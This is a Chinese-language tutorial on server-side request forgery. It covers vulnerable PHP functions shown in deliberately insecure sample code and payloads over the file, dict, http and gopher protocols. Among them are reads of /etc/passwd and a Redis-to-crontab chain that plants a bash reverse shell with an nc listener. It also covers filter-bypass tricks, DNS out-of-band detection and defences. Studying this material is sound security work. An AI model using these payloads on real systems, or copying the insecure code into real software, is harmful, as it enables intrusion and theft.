目录
file_get_contents()与readfile()
SSRF漏洞原理
SSRF漏洞往往是因为服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过过滤与限制,使攻击者可以实现伪造被攻击者发请求。比如从指定URL地址获取网页文本内容,加载或下载指定地址的图片等等。
存在SSRF漏洞的服务器可以作为我们攻击的跳板,直接攻击内网系统。
常见SSRF漏洞地方
注意目标站点带有URL以及文件名等参数的请求。常见SSRF漏洞的地方:
- 社交分享功能:为了更好的提供用户体验,会获取分享链接的标题等内容进行显示。
- 转码服务:通过URL地址把原地址的网页内容调优使其手机屏幕浏览的样式。例如百度、腾讯都有提供在线转码服务。
- 在线翻译:通过URL地址翻译对应文本的内容。例如百度、有道等。
- 图片加载/下载:通过URL地址加载或下载图片。例如富文本编辑器中的点击下载图片到本地。
- 图片/文章收藏功能,主要其回去URL地址中的title以及文本内容作为显示以求一个好的使用体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集、网站抓取的地方:一些网站会针对输入的URL进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
MongoDB是一种文档型数据库,支持类似JSON的BSON数据格式,因此能够存储较为复杂的数据类型。copyDatabase函数用于复制一个数据库到另一个数据库,用作去数据库的迁移操作。
- 邮件系统:比如接收邮件服务器地址
- 编码处理、属性信息处理、文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
SSRF的漏洞利用
主要可以分为两个方向:
- SSRF利用相关的危险函数操作
- SSRF利用可利用协议操作
危险函数
file_get_contents()与readfile()
作用:用于读取文件内容的函数(回顾:这两个函数同样也是文件包含的相关函数)
利用:任意文件读取
测试代码:
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
然后可以在URL里面构造payload:
?url=../../../../../../../../etc/passwd
fsockopen()
作用:用于与远程服务器建立TCP/IP连接,并进行网络通信
利用:类似302重定向,可以用来钓鱼?也不好说
测试代码:
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
payload:
?url=www.baidu.com
就会跳转到百度的页面
curl_exec()
作用:PHP中用于执行cURL请求的函数。cURL(Client URL)是一个用于在PHP中进行网络通信的库,支持多种协议(如HTTP、HTTPS、FTP等)。
利用:伪造URL请求并执行
测试代码:
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
payload:
?url=www.baidu.com
结果就是伪造请求百度网页的请求并执行了。
危险协议
file协议
作用:读取本地文件
payload:
http://ip://index.php?url=file:///etc/passwd
file协议可以直接读取目标操作系统的文件。
dict协议
作用:获取目标服务器端口上运行的服务版本等信息
payload:
http://127.0.0.1/xxx/ssrf.php?url=dict://127.0.0.1:6379/info
通过dict协议获取到redis信息后,可以利用redis的未授权访问反弹shell
例如步骤:
1、开启反弹shell的监听:nc -l 9999
2、然后执行命令反弹shell:
curl dict://127.0.0.1:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/127.0.0.1/9999 0>&1\n\n" curl dict://127.0.0.1:6379/config:set:dir:/etc/ curl dict://127.0.0.1:6379/config:set:dbfilename:crontab curl dict://127.0.0.1:6379/bgsave
http协议
作用:探测内网主机存活,也可以做任意url跳转
payload:
http://127.0.0.1/phpmyadmin/
往往是GET请求方式进行利用,参数接收并发起请求,可以将地址写为内网地址,实现对内网进行探针。
gopher协议
Gopher是一种分布式的文档传递服务。它允许用户以无缝的方式探索、搜索和检索驻留在不同位置的信息。
作用:Gopher可以构造各种HTTP请求包,所以Gopher在SSRF漏洞利用中充当万金油的角色。
利用:
1、Gopher发送GET请求
示例代码:
<?php
echo $_GET['name'];
?>
构造GET型数据包:
GET /testg.php?name=xxx HTTP/1.1
HOST: 10.211.55.2
将数据包直接在BurpSuite中将数据进行URL编码(选定右键->转换选择->URL->URL编码所有字符)
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32
编码的时候一定要记住补上%0d%0a代表结束
最终payload如下:
gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
2、Gopher发送POST请求
示例代码:
<?php
echo $_POST['name'];
?>
构造POST数据包,必须包含以下四个,缺一不可
POST /testg.php HTTP/1.1
Host: 10.211.55.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
name=xxx
利用BurpSuite进行URL编码,后面加上%0d%0a
构成payload:
gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a
SSRF绕过
利用服务器处理IPv6问题:
利用`[::]`可以绕过localhost
http://[::]:80/和http://127.0.0.1是一样的
原理是因为[::]是IPv6中的一个特殊地址,表示所有IPv6地址的通配符。在某些情况下,服务器的网络配置可能存在漏洞或不当配置,导致对IPv6地址的处理不当,从而使得攻击者可以通过构造包含[::]的恶意请求来绕过localhost限制。
利用URL解析问题
利用@符号
https://www.baidu.com@google.com
与 https://google.com
效果是一样的
利用句号
https://127.0.0.1与http://127。0。1
效果是一样的
利用短地址
https://dwz.cn/11SMa
和http://127.0.0.1
效果是一样的
利用IP地址转换
可以是十六进制、八进制等
利用Enclosed alphanumerics
就是利用带括号与圈型字母数字
利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
利用协议
利用上面提及过的几个协议可以进行绕过。
SSRF判断方法
完全回显:根据回显信息判断是否漏洞存在
半回显:接收不到返回的内容,但是可以得到请求成功失败的信息
无回显:采用DNS带外测试(即dnslog查询)
DNSlog利用方式:
- 利用dnslog平台,通过代理商设置域名ceye.io的nameserver为自己的服务器A
- 然后在服务器A上配置好DNS Server
- 开始漏洞验证,过程中对ceye.io及其子域名的查询都会到服务器A
SSRF如何防御
- 禁止重定向
- 过滤返回信息,在处理结果之前,先验证远程服务器对请求的响应是否符合标准
- 禁用不需要的协议,如file://、gopher://、ftp://等
- 设置URL的白名单或限制内网IP(使用gethostbyname函数判断是否为内网IP)
- 限制请求的端口,比如80,443,8080,8090
- 统一错误信息,避免攻击者可以根据错误信息来判断远端服务器的端口状态
SSRF总结
- SSRF往往是因为没有对目标地址进行过滤或限制
- 常见SSRF的地方有:分享功能、转码服务、在线翻译、图片加载与下载、图片和文件收藏等
- SSRF相关的危险函数:file_get_contents()、fsockopen()、curl_exec()
- SSRF相关危险协议:file://、dict://、http://、万精油gopher://
- SSRF几大绕过:利用[::]绕过、利用@或。绕过、利用短地址绕过、利用IP地址转换绕过、利用一些特殊符号绕过
- SSRF判断方法分为有回显、半回显、无回显情况,无回显情况利用DNS带外测试
- SSRF几种防御方法:禁止重定向,过滤返回的内容,禁用危险协议、禁用危险端口,设置白名单,统一错误信息。